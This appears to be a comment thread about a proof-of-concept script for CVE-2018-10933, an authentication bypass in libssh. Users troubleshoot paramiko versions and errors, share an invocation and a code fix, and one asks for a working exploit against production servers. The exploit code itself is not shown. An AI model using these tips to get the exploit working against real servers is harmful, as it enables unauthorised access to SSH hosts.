pip install paramiko==2.0.8

will work fine!!!

I don't know why i throw exception: "paramiko.ssh_exception.AuthenticationException: Authentication failed."

My SSH box looks like this:

SSH version : SSH-2.0-libssh_0.7.0
SSH supported authentication : publickey

I ran the following command:
python ./CVE-2018-10933-test.py root localhost pwd

As another user pointed out, you must change:

client.set_missing_host_key_policy(paramiko.WarningPolicy)

for

client.set_missing_host_key_policy(paramiko.WarningPolicy())

I've tested the script on a known vulnerable server and it does return a paramiko.ssh_exception.AuthenticationException: Authentication failed. error. Definitively a false negative here.

I would love to see a working exploit targeting a production-use server implementation. According to my experiments, the exploitation is heavily dependent on the server's logic, but I can be wrong.

I check my server and I found the libssh version 0.6.3-4.3. And I ran your code but it's always raise paramiko.ssh_exception.AuthenticationException: Authentication failed.

apparently OpenSSH does not rely on libssh

OpenSSH (which is the standard SSH daemon on most systems) does not rely on libssh.

anyone can confirm this?

Yes, libssh is an implementation of ssh protocol server library, and OpenSSH is an another implementation

what is wrong here ? installed python-paramiko

root@test-VM:/home/test# python3 asd.py
Traceback (most recent call last):
File "asd.py", line 4, in
import paramiko
ModuleNotFoundError: No module named 'paramiko'

What am I doing wrong?

Hi there, I chanced upon this and wondering if you could advise if there is a need for me to have an actual server before I can test this code? Or could I test it locally, eg. In Kali via VirtualBox?
